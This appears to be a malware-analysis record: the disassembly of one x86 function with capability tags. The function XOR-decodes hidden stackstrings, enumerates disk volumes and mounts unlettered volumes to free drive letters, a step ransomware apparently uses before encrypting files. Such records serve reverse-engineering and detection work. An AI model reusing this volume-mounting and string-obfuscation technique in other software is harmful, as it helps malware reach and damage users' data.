Function at 0x40c74e
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Enumerate disk volumes
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28c
push ebx
push esi
push edi
push 8
pop ecx
xor ebx, ebx
call fcn.004067f9
mov edi, eax
test edi, edi
je 0x40c9d2
mov dword [ebp - 0xc], 0x60
mov ecx, dword [ebp - 0xc]
xor cl, 0x5f
mov byte [ebp - 8], cl
mov ecx, dword [ebp - 0xc]
inc cl
mov byte [ebp - 7], cl
mov eax, dword [ebp - 0xc]
add al, 2
xor al, 0x3a
mov byte [ebp - 6], al
mov eax, dword [ebp - 0xc]
add al, 3
mov byte [ebp - 5], al
mov eax, dword [ebp - 0xc]
add al, 4
xor al, 0x5c
mov byte [ebp - 4], al
mov eax, dword [ebp - 0xc]
add al, 5
mov byte [ebp - 3], al
mov eax, dword [ebp - 0xc]
add al, 6
mov byte [ebp - 1], bl
mov byte [ebp - 2], al
xor edx, edx
mov al, byte [ebp - 8]
mov al, byte [ebp + edx - 8]
mov ecx, dword [ebp - 0xc]
add cl, dl
xor cl, al
mov byte [ebp + edx - 8], cl
inc edx
cmp edx, 7
jb 0x40c7ba
lea eax, [ebp - 8]
mov byte [ebp - 1], bl
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
xor esi, esi
push edi
mov word [edi], si
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jne 0x40c7fa
lea eax, [esi + 0x41]
mov word [ebp + ebx*2 - 0x84], ax
inc ebx
inc esi
cmp si, 0x1a
jb 0x40c7df
mov ecx, 0x10000
call fcn.004067f9
mov esi, eax
test esi, esi
je 0x40c9cb
push 0x8000
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov dword [ebp - 0x4c], eax
test ebx, ebx
je 0x40c9bb
push 0x200
lea ecx, [ebp - 0x288]
call fcn.00406851
and dword [ebp - 0x50], 0
lea eax, [ebp - 0x50]
add esp, 4
push eax
push 0x80
mov eax, ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
test eax, eax
je 0x40c870
lea eax, [ebp - 0x288]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 3
je 0x40c9a4
mov ax, word [ebp + ebx*2 - 0x86]
dec ebx
push esi
push edi
mov word [edi], ax
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
mov dword [ebp - 0x48], 0x19
xor edx, edx
mov byte [ebp - 0x44], 0x4f
mov byte [ebp - 0x43], 0x19
mov byte [ebp - 0x42], 0x76
mov byte [ebp - 0x41], 0x19
mov byte [ebp - 0x40], 0x75
mov byte [ebp - 0x3f], 0x19
mov byte [ebp - 0x3e], 0x6c
mov byte [ebp - 0x3d], 0x19
mov byte [ebp - 0x3c], 0x74
mov byte [ebp - 0x3b], 0x19
mov byte [ebp - 0x3a], 0x7c
mov byte [ebp - 0x39], 0x19
mov byte [ebp - 0x38], 0x23
mov byte [ebp - 0x37], 0x19
mov byte [ebp - 0x36], 0x39
mov byte [ebp - 0x35], 0x19
mov byte [ebp - 0x34], 0x3c
mov byte [ebp - 0x33], 0x19
mov byte [ebp - 0x32], 0x6a
mov byte [ebp - 0x31], 0x19
mov byte [ebp - 0x30], 0x39
mov byte [ebp - 0x2f], 0x19
mov byte [ebp - 0x2e], 0x34
mov byte [ebp - 0x2d], 0x19
mov byte [ebp - 0x2c], 0x27
mov byte [ebp - 0x2b], 0x19
mov byte [ebp - 0x2a], 0x39
mov byte [ebp - 0x29], 0x19
mov byte [ebp - 0x28], 0x3c
mov byte [ebp - 0x27], 0x19
mov byte [ebp - 0x26], 0x6a
mov byte [ebp - 0x25], 0x19
mov byte [ebp - 0x24], 0x19
mov al, byte [ebp - 0x44]
mov byte [ebp - 0x23], 0
mov al, byte [ebp + edx - 0x44]
mov ecx, dword [ebp - 0x48]
xor cl, al
mov byte [ebp + edx - 0x44], cl
inc edx
cmp edx, 0x21
jb 0x40c918
mov byte [ebp - 0x23], 0
xor edx, edx
mov dword [ebp - 0x20], 0x27
mov byte [ebp - 0x1c], 0x4a
mov byte [ebp - 0x1b], 0x27
mov byte [ebp - 0x1a], 0x48
mov byte [ebp - 0x19], 0x27
mov byte [ebp - 0x18], 0x52
mov byte [ebp - 0x17], 0x27
mov byte [ebp - 0x16], 0x49
mov byte [ebp - 0x15], 0x27
mov byte [ebp - 0x14], 0x53
mov byte [ebp - 0x13], 0x27
mov byte [ebp - 0x12], 0x42
mov byte [ebp - 0x11], 0x27
mov byte [ebp - 0x10], 0x43
mov byte [ebp - 0xf], 0x27
mov byte [ebp - 0xe], 0x27
mov al, byte [ebp - 0x1c]
mov byte [ebp - 0xd], 0
mov al, byte [ebp + edx - 0x1c]
mov ecx, dword [ebp - 0x20]
xor cl, al
mov byte [ebp + edx - 0x1c], cl
inc edx
cmp edx, 0xf
jb 0x40c97b
push edi
push esi
lea eax, [ebp - 0x44]
mov byte [ebp - 0xd], 0
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0041321e
add esp, 0x10
push 0x8000
push esi
push dword [ebp - 0x4c]
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
test eax, eax
jne 0x40c824
push dword [ebp - 0x4c]
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
mov ecx, esi
call fcn.0040689e
mov ecx, edi
call fcn.0040689e
pop edi
pop esi
pop ebx
leave
ret